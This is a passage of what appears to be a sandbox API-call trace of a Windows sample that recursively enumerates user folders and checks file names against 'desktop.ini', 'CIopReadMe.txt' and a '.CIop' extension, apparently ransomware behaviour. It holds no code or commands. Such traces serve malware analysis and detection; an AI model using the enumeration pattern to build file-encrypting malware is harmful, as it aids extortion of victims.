(pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0158.981] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0158.981] lstrlenW (lpString="desktop.ini") returned 11 [0158.981] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0158.981] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.981] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0158.981] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0158.981] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.981] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.981] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.981] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.981] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.981] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0158.981] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0158.981] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0158.981] SetErrorMode (uMode=0x1) returned 0x1 [0158.981] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0158.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0158.982] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0158.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0158.982] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.982] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0158.982] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0158.982] lstrlenW (lpString="desktop.ini") returned 11 [0158.982] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0158.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0158.982] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.982] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0158.982] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0158.982] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.982] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.982] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.982] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.982] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.982] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0158.982] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0158.982] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0158.983] SetErrorMode (uMode=0x1) returned 0x1 [0158.983] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0158.983] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0158.983] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.983] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0158.983] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0158.983] lstrlenW (lpString=".CIop") returned 5 [0158.983] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.983] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.983] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.983] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0158.983] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.983] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0158.983] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0158.983] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0158.983] SetErrorMode (uMode=0x1) returned 0x1 [0158.983] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0158.983] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0158.983] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0158.983] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.983] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0158.983] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0158.983] lstrlenW (lpString=".CIop") returned 5 [0158.983] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.983] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.983] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.983] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0158.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.984] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0158.984] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0158.984] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0158.984] SetErrorMode (uMode=0x1) returned 0x1 [0158.984] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0158.984] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0158.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.984] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0158.984] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0158.984] lstrlenW (lpString="desktop.ini") returned 11 [0158.984] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0158.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0158.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.984] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0158.984] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0158.985] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.985] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0158.985] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0158.985] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0158.985] SetErrorMode (uMode=0x1) returned 0x1 [0158.985] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0158.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0158.985] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0158.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0158.985] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.985] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0158.985] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0158.985] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.985] lstrlenW (lpString="desktop.ini") returned 11 [0158.985] lstrlenW (lpString=".CIop") returned 5 [0158.985] lstrlenW (lpString=".CIop") returned 5 [0158.985] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0158.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0158.985] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.985] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0158.985] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0158.985] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.986] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0158.986] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0158.986] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0158.986] SetErrorMode (uMode=0x1) returned 0x1 [0158.986] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0158.986] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0158.986] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.986] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0158.986] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0158.986] lstrlenW (lpString=".CIop") returned 5 [0158.986] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.986] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.986] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.986] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0158.986] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.986] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0158.986] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0158.986] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0158.986] SetErrorMode (uMode=0x1) returned 0x1 [0158.986] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0158.986] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0158.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0158.986] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.986] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0158.986] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0158.986] lstrlenW (lpString=".CIop") returned 5 [0158.986] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.986] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.986] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.987] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0158.987] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.987] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0158.987] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0158.987] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0158.987] SetErrorMode (uMode=0x1) returned 0x1 [0158.987] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0158.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0158.987] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") 